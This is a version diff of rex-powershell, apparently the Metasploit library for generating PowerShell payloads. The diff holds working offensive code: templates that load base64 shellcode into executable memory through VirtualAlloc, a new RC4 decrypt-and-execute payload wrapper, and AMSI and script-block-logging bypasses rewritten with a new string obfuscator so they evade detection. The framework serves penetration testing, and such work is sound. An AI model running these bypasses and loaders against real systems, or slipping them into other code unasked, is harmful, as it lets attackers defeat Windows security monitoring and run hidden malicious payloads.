rex-powershell 0.1.86 → 0.1.91

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 2d26075990237181aafd00190e76bac14acdee1393e77231d0f1f24f3122dc36
-  data.tar.gz: d3b8f606d7b8cfc376d4ea7e71461008336d0aa9ffcbab1ed70f1ff9bf41c5fa
+  metadata.gz: 03fb4a7843aafdad4a8a05217105768f959653f7b15c00273398afea46497385
+  data.tar.gz: 49fe72538e0fa7acc8a9f418cac9905d65e4fbf61e5b2b36cca4df6fbb20eee5
 SHA512:
-  metadata.gz: 1c0f6e5aada793a549fb022bead14e6e1996f17ef786d796bbe194daca9d65db78842e56036b0dcf7d938505f71860f1408603103b96199fa3c924443bfb44a6
-  data.tar.gz: d16cc849d1fb7121e86a9bf267a07bd2dc717fc448ae8797f939c4461a08a857694aa5a3e5ebda5d6c7ca4fe2c17af678d7ceea15cf92a4b7118f50131c8895a
+  metadata.gz: 846f848e693acefa04b7850a983bfd52bccddc422d9454787fc241fc41323f55747f51d7707632fdca78376219ba7adee55c885b87b5d466376c95e1d5cf9993
+  data.tar.gz: e164850d612b3b32d98c5b620ef842f5ede29a86d5d5db0e0a8aa339aa471e01715a670be1ee75fa0223a823772df59ff16a05374ab06c0bfecb90f3d511a312

data/.travis.yml

@@ -3,4 +3,4 @@ group: stable
 cache: bundler
 language: ruby
 rvm:
-  - 2.6.5
+  - 2.7.2

data/data/templates/to_mem_pshreflection.ps1.template

@@ -1,7 +1,7 @@
 function %{func_get_proc_address} {
-	Param ($%{var_module}, $%{var_procedure})		
+	Param ($%{var_module}, $%{var_procedure})
 	$%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
-	
+
 	return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
 }
 
@@ -10,16 +10,16 @@ function %{func_get_delegate_type} {
 		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
 		[Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
 	)
-	
+
 	$%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
 	$%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
 	$%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
-	
+
 	return $%{var_type_builder}.CreateType()
 }
 
 [Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
-		
+
 $%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
 [System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
 

data/data/templates/to_mem_rc4.ps1.template

@@ -0,0 +1,40 @@
+function %{func_rc4_decrypt} {
+    param([Byte[]]$%{var_rc4buffer})
+
+    $%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}")
+
+    $s = New-Object Byte[] 256;
+    $k = New-Object Byte[] 256;
+
+    for ($i = 0; $i -lt 256; $i++)
+    {
+        $s[$i] = [Byte]$i;
+        $k[$i] = $%{var_key}[$i %% $%{var_key}.Length];
+    }
+
+    $j = 0;
+    for ($i = 0; $i -lt 256; $i++)
+    {
+        $j = ($j + $s[$i] + $k[$i]) %% 256;
+        $temp = $s[$i];
+        $s[$i] = $s[$j];
+        $s[$j] = $temp;
+    }
+
+    $i = $j = 0;
+    for ($x = 0; $x -lt $%{var_rc4buffer}.Length; $x++)
+    {
+        $i = ($i + 1) %% 256;
+        $j = ($j + $s[$i]) %% 256;
+        $temp = $s[$i];
+        $s[$i] = $s[$j];
+        $s[$j] = $temp;
+        [int]$t = ($s[$i] + $s[$j]) %% 256;
+        $%{var_rc4buffer}[$x] = $%{var_rc4buffer}[$x] -bxor $s[$t];
+    }
+
+    $%{var_rc4buffer}
+}
+
+&([scriptblock]::create(([system.Text.Encoding]::UTF8).GetString((%{func_rc4_decrypt} ([System.Convert]::FromBase64String("%{b64payload}"))))))
+

data/lib/rex/powershell/command.rb

@@ -123,6 +123,8 @@ module Command
   #   powershell profile (-NoProfile)
   # @option opts [String] :windowstyle The window style to use
   #   (-WindowStyle)
+  # @option opts [String] :version The version of Powershell to run
+  #   (-version)
   #
   # @return [String] Powershell command arguments
   def self.generate_psh_args(opts)
@@ -157,6 +159,8 @@ module Command
           arg_string << '-NoProfile ' if value
         when :windowstyle
           arg_string << "-WindowStyle #{value} " if value
+        when :version
+          arg_string << "-Version #{value} " if value
       end
     end
 
@@ -188,6 +192,7 @@ module Command
       arg_string.gsub!('-OutputFormat ', '-o ')
       arg_string.gsub!('-Sta ', '-s ')
       arg_string.gsub!('-WindowStyle ', '-w ')
+      arg_string.gsub!('-Version ', '-v ')
     end
 
     # Strip off first space character
@@ -263,6 +268,12 @@ EOS
   # @param opts [Hash] The options to generate the command
   # @option opts [Boolean] :persist Loop the payload to cause
   #   re-execution if the shellcode finishes
+  # @option opts [String] :prepend A stub of Powershell code to prepend to the
+  #   payload.
+  # @option opts [String] :prepend_inner A stub of Powershell code to prepend to
+  #  the inner payload.
+  # @option opts [Boolean] :prepend_protections_bypass Prepend a stub that
+  #   bypasses Powershell protections.
   # @option opts [Integer] :prepend_sleep Sleep for the specified time
   #   before executing the payload
   # @option opts [String] :method The powershell injection technique to
@@ -302,6 +313,14 @@ EOS
         fail RuntimeError, 'No Powershell method specified'
     end
 
+    if opts[:exec_rc4]
+      psh_payload = Rex::Powershell::Payload.to_win32pe_psh_rc4(template_path, psh_payload)
+    end
+
+    if opts[:prepend_inner]
+      psh_payload = opts[:prepend_inner] << (opts[:prepend_inner].end_with?(';') ? '' : ';') << psh_payload
+    end
+
     # Run our payload in a while loop
     if opts[:persist]
       fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
@@ -317,12 +336,6 @@ EOS
     end
 
     compressed_payload = compress_script(psh_payload, nil, opts)
-
-    if opts[:prepend_protections_bypass]
-      bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
-      compressed_payload = bypass_amsi + ";" + compressed_payload
-    end
-
     encoded_payload = encode_script(psh_payload, opts)
 
     # This branch is probably never taken...
@@ -345,6 +358,15 @@ EOS
       end
     end
 
+    if opts[:prepend_protections_bypass]
+      bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
+      smallest_payload = bypass_amsi + ";" + smallest_payload
+    end
+
+    if opts[:prepend]
+      smallest_payload = opts[:prepend] << (opts[:prepend].end_with?(';') ? '' : ';') << smallest_payload
+    end
+
     if opts[:exec_in_place]
       final_payload = smallest_payload
     else
@@ -355,8 +377,8 @@ EOS
     end
 
     command_args = {
-        noprofile: true,
-        windowstyle: 'hidden'
+      noprofile: true,
+      windowstyle: 'hidden'
     }.merge(opts)
 
     if opts[:encode_final_payload]

data/lib/rex/powershell/obfu.rb

@@ -12,6 +12,92 @@ module Powershell
     WHITESPACE_REGEX = Regexp.new(/\s+/)
     EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
 
+    #
+    # Obfuscate a Powershell literal string value. The character set of the string is limited to alpha-numeric
+    # characters and some punctuation. This routine will use a combination of of techniques including formatting and
+    # concatenation. The result is an expression that can either be passed to a function or assigned to a variable.
+    #
+    # @param [String] string The string value to obfuscate.
+    # @param [Float] threshold A floating point value between 0 and 1 that controls how much of the string is
+    #   obfuscated. Higher values result in more obfuscation while 0 returns the original string without any
+    #   obfuscation.
+    # @return [String] An obfuscated Powershell expression that evaluates to the specified string.
+    def self.scate_string_literal(string, threshold: 0.15)
+      # this hasn't been thoroughly tested for strings that contain alot of punctuation, just simple ones like
+      # 'AmsiUtils', the most important characters that are assumed to be missing are quotes and braces
+      raise ArgumentError.new('string contains an unsupported character') if string =~ /[^a-zA-Z0-9,+=\.\/]/
+      raise ArgumentError.new('threshold must be between 0 and 1') unless threshold.between?(0, 1)
+
+      new = original = string
+      occurrences = {}
+      original.each_char { |char|
+        occurrences[char] = 0 unless occurrences.key?(char)
+        occurrences[char] += 1
+      }
+      char_map = occurrences.group_by { |k,v| v }.sort_by { |k,v| -k }.map { |k,v| v.shuffle }.flatten(1)
+
+      # phase 1
+      format = []
+      char_subs = 0.0
+      while (char_subs / original.length.to_f) < threshold
+        orig_char, occurrence_count = char_map.pop
+        new = new.gsub(/(?<!\{)#{Regexp.escape(orig_char)}(?!\})/, "{#{format.length}}")
+        format << "'#{orig_char}'"
+        char_subs += occurrence_count
+      end
+
+      # phase 2
+      concat = "'+'"
+      positions = threshold > 0 ? (0..new.length).to_a.shuffle[0..(new.length * threshold)] : []
+      positions.sort!
+      positions.each_with_index do |position, index|
+        new = new.insert(position + (index * concat.length), concat)
+      end
+
+      new = "'#{new}'"
+      new = "(#{new})" unless threshold == 0
+
+      final = new
+      final << "-f#{format.join(',')}" unless format.empty?
+      final = "(#{final})" unless format.empty? && threshold == 0
+      final
+    end
+
+    #
+    # Deobfuscate a Powershell literal string value that was previously obfuscated by #scate_string_literal.
+    #
+    # @param [String] string The obfuscated Powershell expression to deobfuscate.
+    # @raises [RuntimeError] If the string can not be deobfuscated, for example because it was randomized using a
+    #   different routine, then an exception is raised.
+    # @return [String] The string literal value.
+    def self.descate_string_literal(string)
+      string = string.strip
+      nest_level = [string.match(/^(\(*)/)[0].length, string.match(/(\)*)$/)[0].length].min
+      string = string[nest_level...-nest_level].strip if nest_level > 0
+      format_args = nil
+      if (string =~ /\((?>[^)(]+|\g<0>)*\)/) == 0
+        format = Regexp.last_match(0)
+        format_args = string[format.length..-1].strip
+        unless format_args =~ /-f\s*('.',\s*)*('.')/
+          raise RuntimeError.new('The obfuscated string structure is unsupported')
+        end
+        format_args = format_args[2..-1].strip.scan(/'(.)'/).map { |match| match[0] }
+        string = format[1...-1].strip
+      end
+
+      unless string =~ /^'.*'$/
+        raise RuntimeError.new('The obfuscated string structure is unsupported')
+      end
+      string = string.gsub(/'\s*\+\s*'/, '') # process all concatenation operations
+      unless format_args.nil? # process all format string operations
+        string = string.gsub(/\{\s*\d+\s*\}/) do |index|
+          format_args[index[1...-1].to_i]
+        end
+      end
+
+      string[1...-1]
+    end
+
     #
     # Remove comments
     #
@@ -45,6 +131,7 @@ module Powershell
     # @return [String] code with whitespace stripped
     def strip_whitespace
       code.gsub!(WHITESPACE_REGEX, ' ')
+      code.strip!
 
       code
     end

data/lib/rex/powershell/output.rb

@@ -50,10 +50,11 @@ module Powershell
       # Base64 encode the compressed file contents
       encoded_stream = Rex::Text.encode_base64(compressed_stream)
 
+
       # Build the powershell expression
       # Decode base64 encoded command and create a stream object
       psh_expression =  "$s=New-Object System.IO.MemoryStream(,"
-      psh_expression << "[System.Convert]::FromBase64String('#{encoded_stream}'));"
+      psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)}));"
       # Read & delete the first two bytes due to incompatibility with MS
       psh_expression << '$s.ReadByte();'
       psh_expression << '$s.ReadByte();'
@@ -109,7 +110,7 @@ module Powershell
       # GzipStream operates on the Memory Stream
       psh_expression << '(New-Object System.IO.MemoryStream(,'
       # MemoryStream consists of base64 encoded compressed data
-      psh_expression << "[System.Convert]::FromBase64String('#{encoded_stream}')))"
+      psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)})))"
       # Set the GzipStream to decompress its MemoryStream contents
       psh_expression << ',[System.IO.Compression.CompressionMode]::Decompress)'
       # Read the decoded, decompressed result into scriptblock contents
@@ -139,8 +140,15 @@ module Powershell
     #
     # @return [String] Decompressed powershell code
     def decompress_code
-      # Extract substring with payload
-      encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first
+      # Extract substring with payload4
+      if @code =~ /FromBase64String\('([a-zA-z0-9\+\/=]*)'\)/
+        encoded_stream = Regexp.last_match(1)
+      elsif @code =~ /FromBase64String(\((?>[^)(]+|\g<1>)*\))/
+        encoded_stream = Obfu.descate_string_literal(Regexp.last_match(1))
+      else
+        raise RuntimeError, 'Failed to identify the base64 data'
+      end
+
       # Decode and decompress the string
       unencoded = Rex::Text.decode_base64(encoded_stream)
       begin

data/lib/rex/powershell/payload.rb

@@ -1,5 +1,6 @@
 # -*- coding: binary -*-
 require 'rex/random_identifier'
+require 'rc4'
 
 module Rex
 module Powershell
@@ -106,6 +107,27 @@ module Payload
     read_replace_script_template(template_path, "to_mem_msil.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
   end
 
+  #
+  # PSH script that executes an RC4 encrypted payload with Invoke-Expression
+  # by Adrian Vollmer (SySS GmbH, https://www.syss.de)
+  #
+  def self.to_win32pe_psh_rc4(template_path = TEMPLATE_DIR, code)
+    rig = Rex::RandomIdentifier::Generator.new(DEFAULT_RIG_OPTS)
+    rig.init_var(:func_rc4_decrypt)
+    rig.init_var(:var_rc4buffer)
+    rig.init_var(:var_key)
+
+    key = Rex::Text.rand_text_alpha(rand(8)+8)
+    rc4 = RC4.new(key)
+    enc_code = rc4.encrypt(code)
+
+    hash_sub = rig.to_h
+    hash_sub[:random_key] = key
+    hash_sub[:b64payload] = Rex::Text.encode_base64(enc_code)
+
+    read_replace_script_template(template_path, "to_mem_rc4.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
+  end
+
 end
 end
 end

data/lib/rex/powershell/psh_methods.rb

@@ -90,10 +90,13 @@ module Powershell
     #
     # @return [String] PowerShell code to bypass AMSI
     def self.bypass_amsi()
-      %q{
-        $Ref=[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils');
-        $Ref.GetField('amsiIn'+'itFailed','NonPublic,Static').SetValue($null,$true);
-      }
+      script = Script.new(<<-PSH
+        $Ref=[Ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.AmsiUtils')});
+        $Ref.GetField(#{Obfu.scate_string_literal('amsiInitFailed')},'NonPublic,Static').SetValue($null,$true);
+        PSH
+      )
+      script.sub_vars
+      script
     end
 
     #
@@ -101,22 +104,28 @@ module Powershell
     #
     # @return [String] PowerShell code to bypass Script Block Logging
     def self.bypass_script_log()
-      %q{
-        $GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','N'+'onPublic,Static');
-        If($GPF){
+      script = Script.new(<<-PSH
+        $GPF=[ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.Utils')}).GetField(#{Obfu.scate_string_literal('cachedGroupPolicySettings')},'NonPublic,Static');
+        If ($GPF) {
+            $SBL=#{Obfu.scate_string_literal('ScriptBlockLogging')};
+            $EnableSBL=#{Obfu.scate_string_literal('EnableScriptBlockLogging')};
+            $EnableSBIL=#{Obfu.scate_string_literal('EnableScriptBlockInvocationLogging')};
             $GPC=$GPF.GetValue($null);
-            If($GPC['ScriptB'+'lockLogging']){
-                $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
-                $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockInvocationLogging']=0
+            If($GPC[$SBL]){
+                $GPC[$SBL][$EnableSBL]=0;
+                $GPC[$SBL][$EnableSBIL]=0;
             }
             $val=[Collections.Generic.Dictionary[string,System.Object]]::new();
-            $val.Add('EnableScriptB'+'lockLogging',0);
-            $val.Add('EnableScriptB'+'lockInvocationLogging',0);
-            $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$val
+            $val.Add($EnableSBL,0);
+            $val.Add($EnableSBIL,0);
+            $GPC['HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\'+$SBL]=$val;
         } Else {
-            [ScriptBlock].GetField('signatures','N'+'onPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]))
+            [ScriptBlock].GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
         }
-      }
+        PSH
+      )
+      script.sub_vars
+      script
     end
 
     #

data/lib/rex/powershell/version.rb

@@ -1,5 +1,5 @@
 module Rex
   module Powershell
-    VERSION = "0.1.86"
+    VERSION = "0.1.91"
   end
 end

data/rex-powershell.gemspec

@@ -6,8 +6,8 @@ require 'rex/powershell/version'
 Gem::Specification.new do |spec|
   spec.name          = "rex-powershell"
   spec.version       = Rex::Powershell::VERSION
-  spec.authors       = ["David 'thelightcosine' Maloney"]
-  spec.email         = ["DMaloney@rapid7.com"]
+  spec.authors       = ['Metasploit Hackers']
+  spec.email         = ['msfdev@metasploit.com']
 
   spec.summary       = %q{Rex Powershell Utilities}
   spec.description   = %q{Ruby Exploitation(Rex) library for generating/manipulating Powershell scripts}
@@ -20,10 +20,10 @@ Gem::Specification.new do |spec|
 
   spec.required_ruby_version = '>= 2.2.0'
 
-  spec.add_development_dependency "bundler", "~> 1.12"
-  spec.add_development_dependency "rake", "~> 10.0"
-  spec.add_development_dependency "rspec", "~> 3.0"
+  spec.add_development_dependency "rake"
+  spec.add_development_dependency "rspec"
 
   spec.add_runtime_dependency 'rex-text'
   spec.add_runtime_dependency 'rex-random_identifier'
+  spec.add_runtime_dependency 'ruby-rc4'
 end

metadata

@@ -1,10 +1,10 @@
 --- !ruby/object:Gem::Specification
 name: rex-powershell
 version: !ruby/object:Gem::Version
-  version: 0.1.86
+  version: 0.1.91
 platform: ruby
 authors:
-- David 'thelightcosine' Maloney
+- Metasploit Hackers
 autorequire: 
 bindir: exe
 cert_chain:
@@ -64,20 +64,20 @@ cert_chain:
   -----END CERTIFICATE-----
 - |
   -----BEGIN CERTIFICATE-----
-  MIIFIzCCBAugAwIBAgIQDX9ZkVJ2eNVTlibR5ALyJTANBgkqhkiG9w0BAQsFADBy
+  MIIFIzCCBAugAwIBAgIQCMePMbkSxvnPeJhYXIfaxzANBgkqhkiG9w0BAQsFADBy
   MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
   d3cuZGlnaWNlcnQuY29tMTEwLwYDVQQDEyhEaWdpQ2VydCBTSEEyIEFzc3VyZWQg
-  SUQgQ29kZSBTaWduaW5nIENBMB4XDTE5MTAxNjAwMDAwMFoXDTIwMTAxOTEyMDAw
+  SUQgQ29kZSBTaWduaW5nIENBMB4XDTIwMTAwNzAwMDAwMFoXDTIzMTEwNjEyMDAw
   MFowYDELMAkGA1UEBhMCVVMxFjAUBgNVBAgTDU1hc3NhY2h1c2V0dHMxDzANBgNV
   BAcTBkJvc3RvbjETMBEGA1UEChMKUmFwaWQ3IExMQzETMBEGA1UEAxMKUmFwaWQ3
-  IExMQzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANHnKegPAghKuZk4
-  Gy1jKaZEXbWc4fxioTemv/F1yIYzAjCWP65qjKtyeeFDe4/kJzG9nseF9oa93YBf
-  1nyEqxNSZMw/sCAZ87lOl713dRi73uxOoszy2PT5xEB+Q5R6cbzExkWG2zrLdXDr
-  so0Bd6VHw+IsAoBBkAq5FrZOJQYGn5VY20xw/2DqtCeoW4QDWyqTnbJmwO9tZrfr
-  3Le2crfk2eOgafaPNhLon5uuIKCZsk2YkUSNURSS3M7gosMwU9Gg4JTBi7X5+oww
-  rY43dJT28YklxmNVu8o5kJxW4dqLKJLOIgSXZ63nceT/EaCSg7DcofHNcUzejFwb
-  M7Zbb2kCAwEAAaOCAcUwggHBMB8GA1UdIwQYMBaAFFrEuXsqCqOl6nEDwGD5LfZl
-  dQ5YMB0GA1UdDgQWBBR18CAeMsIEU+0pXal/XXw9LCtMADAOBgNVHQ8BAf8EBAMC
+  IExMQzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALNTz4zvAy7h/vQp
+  4dr1txXHlABAagkwYYwTMCtHs5PXsJITx/5SAjx5swuaLfze5kPBNF2YImvFlOXY
+  WaB+0PsOnXnaARsDZU683xFlj8izU6IN6VrAHzDLKFBzruJENrOJD/ikbEtbjO/q
+  gFbmS9J9v5ohG/pcRSS0t4ZPAwymf8eCp6QsvOKK/Aymp1RhlRaP8N6N5CIpkhz1
+  9p968iCE+DjOXVYxcWE+jE/7uB1dbgrXykNBujMSS3GULOvVEY28n6NCmrPlo23g
+  yRjYVJ2Vy14nBqnxDZ/yRIfWRVjWoT9TsAEbe9gY29oDpSCSs4wSmLQd5zGCpZ9h
+  r0HDFB8CAwEAAaOCAcUwggHBMB8GA1UdIwQYMBaAFFrEuXsqCqOl6nEDwGD5LfZl
+  dQ5YMB0GA1UdDgQWBBTLBL7DTwumVEKtdCdpHVYMXOFeDzAOBgNVHQ8BAf8EBAMC
   B4AwEwYDVR0lBAwwCgYIKwYBBQUHAwMwdwYDVR0fBHAwbjA1oDOgMYYvaHR0cDov
   L2NybDMuZGlnaWNlcnQuY29tL3NoYTItYXNzdXJlZC1jcy1nMS5jcmwwNaAzoDGG
   L2h0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9zaGEyLWFzc3VyZWQtY3MtZzEuY3Js
@@ -86,59 +86,59 @@ cert_chain:
   JAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBOBggrBgEFBQcw
   AoZCaHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0U0hBMkFzc3Vy
   ZWRJRENvZGVTaWduaW5nQ0EuY3J0MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQEL
-  BQADggEBAFpzR9s7lcYKDzSJucOHztEPj+iSIeCzxEw34NTE9M2AfkYIu82c4r2a
-  bzIGmzZWiCGufjOp0gF5xW6sSSJ9n0TqH0nhHhvjtZQkmkGtOBbN1zeYDFS2ozAp
-  sljF/g68Y1eYs3NaFf7kQUa6vb6RdjW3J8M9AQ8gthBt7gr/guVxd/gJUYbdDdBX
-  cWfJJi/X7GVBOBmmvA43qoKideuhOBrVGBHvIF/yO9p23dIiUrGmW9kxXCSxgute
-  JI/W23RbIRksG2pioMhd4dCXq3FLLlkOV1YfCwWixNB+iIhQPPZVaPNfgPhCn4Dt
-  DeGjje/qA4fkLtRmOtb9PUBq3ToRDE4=
+  BQADggEBAN+GL5/myPWg7oH4mVrG7/OhXF1MoYQF0ddaNiqaweEHMuKJBQCVZRbL
+  37HojoKXXv2yyRJBCeTB+ojrxX+5PdLVZa0ss7toWzJ2A1poPXZ1eZvm5xeFD32z
+  YQaTmmNWNI3PCDTyJ2PXUc+bDiNNwcZ7yc5o78UNRvp9Jxghya17Q76c9Ov9wvnv
+  dxxQKWGOQy0m4fBrkyjAyH9Djjn81RbQrqYgPuhd5nD0HjN3VUQLhQbIJrk9TVs0
+  EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
+  9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
   -----END CERTIFICATE-----
-date: 2020-02-17 00:00:00.000000000 Z
+date: 2021-07-09 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
-  name: bundler
+  name: rake
   requirement: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ">="
       - !ruby/object:Gem::Version
-        version: '1.12'
+        version: '0'
   type: :development
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ">="
       - !ruby/object:Gem::Version
-        version: '1.12'
+        version: '0'
 - !ruby/object:Gem::Dependency
-  name: rake
+  name: rspec
   requirement: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ">="
       - !ruby/object:Gem::Version
-        version: '10.0'
+        version: '0'
   type: :development
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ">="
       - !ruby/object:Gem::Version
-        version: '10.0'
+        version: '0'
 - !ruby/object:Gem::Dependency
-  name: rspec
+  name: rex-text
   requirement: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ">="
       - !ruby/object:Gem::Version
-        version: '3.0'
-  type: :development
+        version: '0'
+  type: :runtime
   prerelease: false
   version_requirements: !ruby/object:Gem::Requirement
     requirements:
-    - - "~>"
+    - - ">="
       - !ruby/object:Gem::Version
-        version: '3.0'
+        version: '0'
 - !ruby/object:Gem::Dependency
-  name: rex-text
+  name: rex-random_identifier
   requirement: !ruby/object:Gem::Requirement
     requirements:
     - - ">="
@@ -152,7 +152,7 @@ dependencies:
       - !ruby/object:Gem::Version
         version: '0'
 - !ruby/object:Gem::Dependency
-  name: rex-random_identifier
+  name: ruby-rc4
   requirement: !ruby/object:Gem::Requirement
     requirements:
     - - ">="
@@ -168,7 +168,7 @@ dependencies:
 description: Ruby Exploitation(Rex) library for generating/manipulating Powershell
   scripts
 email:
-- DMaloney@rapid7.com
+- msfdev@metasploit.com
 executables: []
 extensions: []
 extra_rdoc_files: []
@@ -185,6 +185,7 @@ files:
 - data/templates/to_mem_msil.ps1.template
 - data/templates/to_mem_old.ps1.template
 - data/templates/to_mem_pshreflection.ps1.template
+- data/templates/to_mem_rc4.ps1.template
 - lib/rex/powershell.rb
 - lib/rex/powershell/command.rb
 - lib/rex/powershell/function.rb